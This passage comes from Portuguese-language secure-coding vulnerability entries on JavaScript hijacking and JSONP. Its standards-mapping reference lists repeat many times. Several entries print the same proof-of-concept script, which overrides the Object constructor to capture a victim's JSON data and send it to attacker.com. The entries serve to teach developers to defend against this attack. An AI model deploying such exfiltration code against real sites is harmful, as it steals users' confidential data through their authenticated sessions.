// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}

// Send the captured object back to the attacker's web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>

<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>


O código mal-intencionado usa uma tag de script para incluir o objeto JSON na página atual. O navegador da Web enviará o cookie de sessão apropriado com a solicitação. Em outras palavras, essa solicitação será tratada como se tivesse sido originada pelo aplicativo legítimo.

Quando a matriz JSON chegar no cliente, ela será avaliada no contexto da página mal-intencionada. A fim de testemunhar a avaliação do JSON, a página mal-intencionada redefiniu a função JavaScript usada para criar novos objetos. Dessa maneira, o código mal-intencionado inseriu um gancho que lhe permite obter acesso à criação de cada objeto e transmitir o conteúdo do objeto de volta para o site mal-intencionado. Outros ataques podem em vez disso substituir o construtor padrão para matrizes. Aplicativos desenvolvidos para uso em um mashup por vezes invocam uma função de retorno de chamada no final de cada mensagem JavaScript. O propósito dessa função de retorno de chamada é ser definida por outro aplicativo no mashup. A função de retorno de chamada faz com que um ataque de sequestro JavaScript se torne algo muito simples - tudo o que o invasor precisa fazer é definir a função. Um aplicativo pode ser favorável para mashup ou seguro, mas não pode ser ambos. Se o usuário não estiver conectado ao site vulnerável, o invasor poderá compensar a situação solicitando que esse usuário faça login e, em seguida, exibindo a página de login legítima do aplicativo.

Não se trata de um ataque de phishing (o invasor não obtém acesso as credenciais do usuário) e, por isso, contramedidas anti-phishing não conseguirão anulá-lo. Ataques mais complexos podem fazer uma série de solicitações ao aplicativo usando JavaScript para gerar tags de script dinamicamente. Essa mesma técnica é usada às vezes para criar mashups de aplicativo. A única diferença é que, nesse cenário de mashup, um dos aplicativos envolvidos é mal-intencionado.

Exemplo 2: Este código mostra um exemplo de método de visualização do Django que envia uma resposta JSON contendo dados confidenciais na forma de uma matriz JSON.


from django.http.response import JsonResponse
...
def handle_upload(request):
response = JsonResponse(sensitive_data, safe=False) # Sensitive data is stored in a list
return response
References
[1] B. Chess, Y. O'Neil, and J. West JavaScript Hijacking
[2] Joe Walker JSON is not as safe as people think it is
[3] Jeremiah Grossman Advanced Web Attack Techniques using GMail
[4] Standards Mapping - CIS Azure Kubernetes Service Benchmark 1.0
[5] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[6] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 2.0
[7] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 7
[8] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[9] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001167
[10] Standards Mapping - General Data Protection Regulation (GDPR) Access Violation
[11] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-18 Mobile Code (P2)
[12] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-18 Mobile Code
[13] Standards Mapping - OWASP Mobile 2014 M4 Unintended Data Leakage
[14] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-003300 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-003300 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-003300 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-003300 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-003300 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-003300 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-003300 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-003300 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-003300 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-003300 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-003300 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-003300 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-003300 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-003300 CAT II
[28] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
[29] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
desc.structural.python.javascript_hijacking_constructor_poisoning
Abstract
O JSONP é uma técnica de comunicação não segura e só deve ser usada quando dados pessoais ou confidenciais não estão envolvidos e limpando a função de retorno de chamada.
Explanation
Por padrão, o JSONP permite a realização de solicitações entre domínios, mas não possui mecanismos para restringir e verificar origens de solicitações. Um site mal-intencionado pode facilmente realizar uma solicitação JSONP em nome do usuário e processar a resposta JSON. Por esse motivo, é altamente recomendável evitar essa técnica de comunicação quando PII ou dados confidenciais estão sendo enviados.
Por padrão, o JSONP é um ataque de XSS autoinfligido, pois o nome da função de retorno de chamada precisa ser refletido no site solicitante para o devido processamento do JSON. É obrigatório validar e limpar o nome da função de retorno de chamada a fim de evitar a injeção JavaScript. Para limpar o nome da função de retorno de chamada, considere usar uma lista de permissões, quando possível, ou restrinja os caracteres de forma que eles sejam somente alfanuméricos.
References
[1] Standards Mapping - CIS Azure Kubernetes Service Benchmark 1.0
[2] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[3] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 2.0
[4] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 7
[5] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[6] Standards Mapping - Common Weakness Enumeration CWE ID 346
[7] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001167
[8] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[9] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-18 Mobile Code (P2)
[10] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-18 Mobile Code
[11] Standards Mapping - OWASP Top 10 2021 A07 Identification and Authentication Failures
[12] Standards Mapping - OWASP Application Security Verification Standard 4.0 3.5.3 Token-based Session Management (L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 14.5.2 Validate HTTP Request Header Requirements (L1 L2 L3), 14.5.3 Validate HTTP Request Header Requirements (L1 L2 L3)
[13] Standards Mapping - OWASP Mobile 2014 M4 Unintended Data Leakage
[14] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-003300 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-003300 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-003300 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-003300 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-003300 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-003300 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-003300 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-003300 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-003300 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-003300 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-003300 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-003300 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-003300 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-003300 CAT II
[28] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
[29] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
desc.semantic.dotnet.javascript_hijacking_jsonp
Abstract
O JSONP é uma técnica de comunicação não segura e só deve ser usada quando dados pessoais ou confidenciais não estão envolvidos.
Explanation
Por padrão, o JSONP permite a realização de solicitações entre domínios, mas não possui mecanismos para restringir e verificar origens de solicitações. Um site mal-intencionado pode facilmente realizar uma solicitação JSONP em nome do usuário e processar a resposta JSON. Por esse motivo, é altamente recomendável evitar essa técnica de comunicação quando PII ou dados confidenciais estão sendo enviados.
References
[1] Standards Mapping - CIS Azure Kubernetes Service Benchmark 1.0
[2] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[3] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 2.0
[4] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 7
[5] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[6] Standards Mapping - Common Weakness Enumeration CWE ID 346
[7] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001167
[8] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[9] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-18 Mobile Code (P2)
[10] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-18 Mobile Code
[11] Standards Mapping - OWASP Top 10 2021 A07 Identification and Authentication Failures
[12] Standards Mapping - OWASP Application Security Verification Standard 4.0 3.5.3 Token-based Session Management (L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 14.5.2 Validate HTTP Request Header Requirements (L1 L2 L3), 14.5.3 Validate HTTP Request Header Requirements (L1 L2 L3)
[13] Standards Mapping - OWASP Mobile 2014 M4 Unintended Data Leakage
[14] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-003300 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-003300 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-003300 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-003300 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-003300 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-003300 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-003300 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-003300 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-003300 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-003300 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-003300 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-003300 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-003300 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-003300 CAT II
[28] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
[29] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
desc.structural.scala.javascript_hijacking_jsonp
Abstract
Aplicativos que utilizam o Microsoft AJAX.NET (Atlas) podem ser vulneráveis a sequestros de JavaScript, o que permite que um invasor não autorizado leia dados confidenciais.
Explanation
O Microsoft AJAX.NET (Atlas) usa JSON para transferir dados entre o servidor e o cliente. A estrutura produz respostas formadas por um JavaScript válido que pode ser avaliado com o uso de uma tag <script> e que, portanto, é vulnerável a sequestros de JavaScript [1]. Por padrão, a estrutura utiliza o método POST para enviar solicitações, o que torna difícil gerar uma solicitação a partir de uma tag <script> mal-intencionada (já que tags <script> geram apenas solicitações GET). No entanto, o Microsoft AJAX.NET fornece mecanismos para usar solicitações GET. Na verdade, muitos especialistas incentivam os programadores a usarem solicitações GET a fim de aproveitar o armazenamento em cache do navegador e melhorar o desempenho.

Um aplicativo pode ser vulnerável a sequestros de JavaScript nas seguintes situações: 1) Ele usa objetos JavaScript como formato de transferência de dados 2) Ele lida com dados confidenciais. Como vulnerabilidades de sequestro de JavaScript não ocorrem como resultado direto de um erro de codificação, os Fortify Secure Coding Rulepacks chamam a atenção a possíveis vulnerabilidades de sequestro de JavaScript identificando o código que parece gerar JavaScript em uma resposta HTTP.

Navegadores da Web impõem a Política de Mesma Origem a fim de proteger os usuários contra sites mal-intencionados. A Política de Mesma Origem exige que, para que o JavaScript possa acessar o conteúdo de uma página da Web, tanto ele quanto essa página da Web devem ser provenientes do mesmo domínio. Sem a Política de Mesma Origem, um site mal-intencionado poderia fornecer um JavaScript capaz de carregar informações confidenciais de outros sites usando as credenciais de um cliente, analisar essas informações e depois as comunicar ao invasor. Sequestros de JavaScript permitem que um invasor ignore a Política de Mesma Origem no caso que um aplicativo Web usa JavaScript para comunicar informações confidenciais. A brecha na Política de Mesma Origem é que ela permite que o JavaScript proveniente de qualquer site seja incluído e executado no contexto de qualquer outro site. Mesmo que um site mal-intencionado não consiga examinar diretamente os dados carregados de um site vulnerável no cliente, ele ainda pode tirar proveito dessa brecha configurando um ambiente que lhe permite testemunhar a execução do JavaScript e de quaisquer efeitos colaterais relevantes que isso possa provocar. Como muitos aplicativos Web 2.0 usam o JavaScript como um mecanismo de transporte de dados, é comum que eles sejam vulneráveis, enquanto os aplicativos Web tradicionais não o são.

O formato mais popular para a comunicação de informações em JavaScript é o JSON (JavaScript Object Notation). A RFC JSON define a sintaxe JSON como um subconjunto da sintaxe literal de objetos JavaScript. O JSON se baseia em dois tipos de estruturas de dados: matrizes e objetos. Qualquer formato de transporte de dados no qual as mensagens possam ser interpretadas como uma ou mais instruções JavaScript válidas é vulnerável a sequestros de JavaScript. O JSON facilita o sequestro de JavaScript pelo fato de que uma matriz JSON representa por si só uma instrução JavaScript válida. Como as matrizes são uma forma natural para a comunicação de listas, elas são comumente utilizadas sempre que um aplicativo precisa comunicar vários valores. Em outras palavras, uma matriz JSON é diretamente vulnerável a sequestros de JavaScript. Um objeto JSON apenas será vulnerável se estiver encapsulado em alguma outra construção JavaScript que por si só representa uma instrução JavaScript válida.

Exemplo 1: O exemplo a seguir começa mostrando uma interação JSON legítima entre os componentes cliente e servidor de um aplicativo Web usado para gerenciar listas de clientes potenciais. Em seguida, ele mostra como um invasor pode imitar o cliente e obter acesso aos dados confidenciais retornados pelo servidor. Observe que esse exemplo foi concebido para navegadores baseados no Mozilla. Outros navegadores tradicionais não permitem que construtores nativos sejam substituídos quando um objeto é criado sem o uso do novo operador.

O cliente solicita dados de um servidor e avalia o resultado como JSON com o seguinte código:


var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);


Quando o código é executado, ele gera uma solicitação HTTP que se parece com o seguinte:


GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR


(Nesta resposta HTTP e também na seguinte, omitimos os cabeçalhos HTTP que não são diretamente relevantes para essa explicação.)
O servidor responde com uma matriz no formato JSON:


HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/javascript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]


Nesse caso, o JSON contém informações confidenciais associadas ao usuário atual (uma lista de clientes potenciais). Outros usuários não podem acessar essas informações sem saberem o identificador de sessão do usuário. (Na maioria dos aplicativos Web modernos, o identificador de sessão é armazenado como um cookie.) No entanto, se uma vítima visitar um site mal-intencionado, este poderá recuperar as informações via sequestro de JavaScript. Se uma vítima puder ser enganada e levada a visitar uma página da Web que contém o seguinte código mal-intencionado, as informações de clientes potenciais dessa vítima serão enviadas ao site do invasor.


<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}

// Send the captured object back to the attacker's Web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>

<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>


O código mal-intencionado usa uma tag de script para incluir o objeto JSON na página atual. O navegador da Web enviará o cookie de sessão apropriado com a solicitação. Em outras palavras, essa solicitação será tratada como se tivesse sido originada pelo aplicativo legítimo.

Quando a matriz JSON chegar no cliente, ela será avaliada no contexto da página mal-intencionada. A fim de testemunhar a avaliação do JSON, a página mal-intencionada redefiniu a função JavaScript usada para criar novos objetos. Dessa maneira, o código mal-intencionado inseriu um gancho que lhe permite obter acesso à criação de cada objeto e transmitir o conteúdo do objeto de volta para o site mal-intencionado. Outros ataques podem em vez disso substituir o construtor padrão para matrizes. Aplicativos desenvolvidos para uso em um mashup por vezes invocam uma função de retorno de chamada no final de cada mensagem JavaScript. O propósito dessa função de retorno de chamada é ser definida por outro aplicativo no mashup. A função de retorno de chamada faz com que um ataque de sequestro JavaScript se torne algo muito simples - tudo o que o invasor precisa fazer é definir a função. Um aplicativo pode ser favorável para mashup ou seguro, mas não pode ser ambos. Se o usuário não estiver conectado ao site vulnerável, o invasor poderá compensar a situação solicitando que esse usuário faça login e, em seguida, exibindo a página de login legítima do aplicativo.

Não se trata de um ataque de phishing (o invasor não obtém acesso as credenciais do usuário) e, por isso, contramedidas anti-phishing não conseguirão anulá-lo. Ataques mais complexos podem fazer uma série de solicitações ao aplicativo usando JavaScript para gerar tags de script dinamicamente. Essa mesma técnica é usada às vezes para criar mashups de aplicativo. A única diferença é que, nesse cenário de mashup, um dos aplicativos envolvidos é mal-intencionado.
References
[1] B. Chess, Y. O'Neil, and J. West JavaScript Hijacking
[2] Standards Mapping - CIS Azure Kubernetes Service Benchmark 1.0
[3] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[4] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 2.0
[5] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 12
[6] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[7] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001167
[8] Standards Mapping - General Data Protection Regulation (GDPR) Access Violation
[9] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-18 Mobile Code (P2)
[10] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-18 Mobile Code
[11] Standards Mapping - OWASP Mobile 2014 M4 Unintended Data Leakage
[12] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-003300 CAT II
[13] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-003300 CAT II
[14] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-003300 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-003300 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-003300 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-003300 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-003300 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-003300 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-003300 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-003300 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-003300 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-003300 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-003300 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-003300 CAT II
[26] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
[27] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
desc.semantic.dotnet.javascript_hijacking_vulnerable_framework
Abstract
Os aplicativos que aproveitam a estrutura Ajax do Google Web Toolkit (GWT) podem estar vulneráveis a sequestros de JavaScript, o que permite a um invasor não autorizado ler dados confidenciais.
Explanation
O GWT usa JSON para transferir dados entre o servidor e o cliente. A estrutura produz respostas formadas por um JavaScript válido que pode ser avaliado com o uso de uma tag <script> e que, portanto, é vulnerável a sequestros de JavaScript [1]. Por padrão, a estrutura usa o método POST para enviar solicitações, o que torna difícil gerar um pedido a partir de uma etiqueta maliciosa <script> (uma vez que etiquetas <script> só geram solicitações GET). No entanto, o GWT fornece mecanismos para a utilização de solicitações GET. Na verdade, muitos especialistas incentivam os programadores a usarem solicitações GET a fim de aproveitar o armazenamento em cache do navegador e melhorar o desempenho.

Um aplicativo pode ser vulnerável a sequestros de JavaScript nas seguintes situações: 1) Ele usa objetos JavaScript como formato de transferência de dados 2) Ele lida com dados confidenciais. Como vulnerabilidades de sequestro de JavaScript não ocorrem como resultado direto de um erro de codificação, os Fortify Secure Coding Rulepacks chamam a atenção a possíveis vulnerabilidades de sequestro de JavaScript identificando o código que parece gerar JavaScript em uma resposta HTTP.

Navegadores da Web impõem a Política de Mesma Origem a fim de proteger os usuários contra sites mal-intencionados. A Política de Mesma Origem exige que, para que o JavaScript possa acessar o conteúdo de uma página da Web, tanto ele quanto essa página da Web devem ser provenientes do mesmo domínio. Sem a Política de Mesma Origem, um site mal-intencionado poderia fornecer um JavaScript capaz de carregar informações confidenciais de outros sites usando as credenciais de um cliente, analisar essas informações e depois as comunicar ao invasor. Sequestros de JavaScript permitem que um invasor ignore a Política de Mesma Origem no caso que um aplicativo Web usa JavaScript para comunicar informações confidenciais. A brecha na Política de Mesma Origem é que ela permite que o JavaScript proveniente de qualquer site seja incluído e executado no contexto de qualquer outro site. Mesmo que um site mal-intencionado não consiga examinar diretamente os dados carregados de um site vulnerável no cliente, ele ainda pode tirar proveito dessa brecha configurando um ambiente que lhe permite testemunhar a execução do JavaScript e de quaisquer efeitos colaterais relevantes que isso possa provocar. Como muitos aplicativos Web 2.0 usam o JavaScript como um mecanismo de transporte de dados, é comum que eles sejam vulneráveis, enquanto os aplicativos Web tradicionais não o são.

O formato mais popular para a comunicação de informações em JavaScript é o JSON (JavaScript Object Notation). A RFC JSON define a sintaxe JSON como um subconjunto da sintaxe literal de objetos JavaScript. O JSON se baseia em dois tipos de estruturas de dados: matrizes e objetos. Qualquer formato de transporte de dados no qual as mensagens possam ser interpretadas como uma ou mais instruções JavaScript válidas é vulnerável a sequestros de JavaScript. O JSON facilita o sequestro de JavaScript pelo fato de que uma matriz JSON representa por si só uma instrução JavaScript válida. Como as matrizes são uma forma natural para a comunicação de listas, elas são comumente utilizadas sempre que um aplicativo precisa comunicar vários valores. Em outras palavras, uma matriz JSON é diretamente vulnerável a sequestros de JavaScript. Um objeto JSON apenas será vulnerável se estiver encapsulado em alguma outra construção JavaScript que por si só representa uma instrução JavaScript válida.

Exemplo 1: O exemplo a seguir começa mostrando uma interação JSON legítima entre os componentes cliente e servidor de um aplicativo Web usado para gerenciar listas de clientes potenciais. Em seguida, ele mostra como um invasor pode imitar o cliente e obter acesso aos dados confidenciais retornados pelo servidor. Observe que esse exemplo foi concebido para navegadores baseados no Mozilla. Outros navegadores tradicionais não permitem que construtores nativos sejam substituídos quando um objeto é criado sem o uso do novo operador.

O cliente solicita dados de um servidor e avalia o resultado como JSON com o seguinte código:


var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);


Quando o código é executado, ele gera uma solicitação HTTP que se parece com o seguinte:


GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR


(Nesta resposta HTTP e também na seguinte, omitimos os cabeçalhos HTTP que não são diretamente relevantes para essa explicação.)
O servidor responde com uma matriz no formato JSON:


HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/javascript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]


Nesse caso, o JSON contém informações confidenciais associadas ao usuário atual (uma lista de clientes potenciais). Outros usuários não podem acessar essas informações sem saberem o identificador de sessão do usuário. (Na maioria dos aplicativos Web modernos, o identificador de sessão é armazenado como um cookie.) No entanto, se uma vítima visitar um site mal-intencionado, este poderá recuperar as informações via sequestro de JavaScript. Se uma vítima puder ser enganada e levada a visitar uma página da Web que contém o seguinte código mal-intencionado, as informações de clientes potenciais dessa vítima serão enviadas ao site do invasor.


<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}

// Send the captured object back to the attacker's Web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>

<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>


O código mal-intencionado usa uma tag de script para incluir o objeto JSON na página atual. O navegador da Web enviará o cookie de sessão apropriado com a solicitação. Em outras palavras, essa solicitação será tratada como se tivesse sido originada pelo aplicativo legítimo.

Quando a matriz JSON chegar no cliente, ela será avaliada no contexto da página mal-intencionada. A fim de testemunhar a avaliação do JSON, a página mal-intencionada redefiniu a função JavaScript usada para criar novos objetos. Dessa maneira, o código mal-intencionado inseriu um gancho que lhe permite obter acesso à criação de cada objeto e transmitir o conteúdo do objeto de volta para o site mal-intencionado. Outros ataques podem em vez disso substituir o construtor padrão para matrizes. Aplicativos desenvolvidos para uso em um mashup por vezes invocam uma função de retorno de chamada no final de cada mensagem JavaScript. O propósito dessa função de retorno de chamada é ser definida por outro aplicativo no mashup. A função de retorno de chamada faz com que um ataque de sequestro JavaScript se torne algo muito simples - tudo o que o invasor precisa fazer é definir a função. Um aplicativo pode ser favorável para mashup ou seguro, mas não pode ser ambos. Se o usuário não estiver conectado ao site vulnerável, o invasor poderá compensar a situação solicitando que esse usuário faça login e, em seguida, exibindo a página de login legítima do aplicativo.

Não se trata de um ataque de phishing (o invasor não obtém acesso as credenciais do usuário) e, por isso, contramedidas anti-phishing não conseguirão anulá-lo. Ataques mais complexos podem fazer uma série de solicitações ao aplicativo usando JavaScript para gerar tags de script dinamicamente. Essa mesma técnica é usada às vezes para criar mashups de aplicativo. A única diferença é que, nesse cenário de mashup, um dos aplicativos envolvidos é mal-intencionado.
References
[1] B. Chess, Y. O'Neil, and J. West JavaScript Hijacking
[2] Standards Mapping - CIS Azure Kubernetes Service Benchmark 1.0
[3] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[4] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 2.0
[5] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 12
[6] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[7] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001167
[8] Standards Mapping - General Data Protection Regulation (GDPR) Access Violation
[9] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-18 Mobile Code (P2)
[10] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-18 Mobile Code
[11] Standards Mapping - OWASP Mobile 2014 M4 Unintended Data Leakage
[12] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-003300 CAT II
[13] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-003300 CAT II
[14] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-003300 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-003300 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-003300 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-003300 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-003300 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-003300 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-003300 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-003300 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-003300 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-003300 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-003300 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-003300 CAT II
[26] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
[27] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
desc.structural.java.javascript_hijacking_vulnerable_framework
Abstract
Os aplicativos que utilizam a notação JavaScript para transportar dados confidenciais podem ser vulneráveis a sequestros de JavaScript, o que permite a um invasor não autorizado ler dados confidenciais por meio de um aplicativo vulnerável.
Explanation
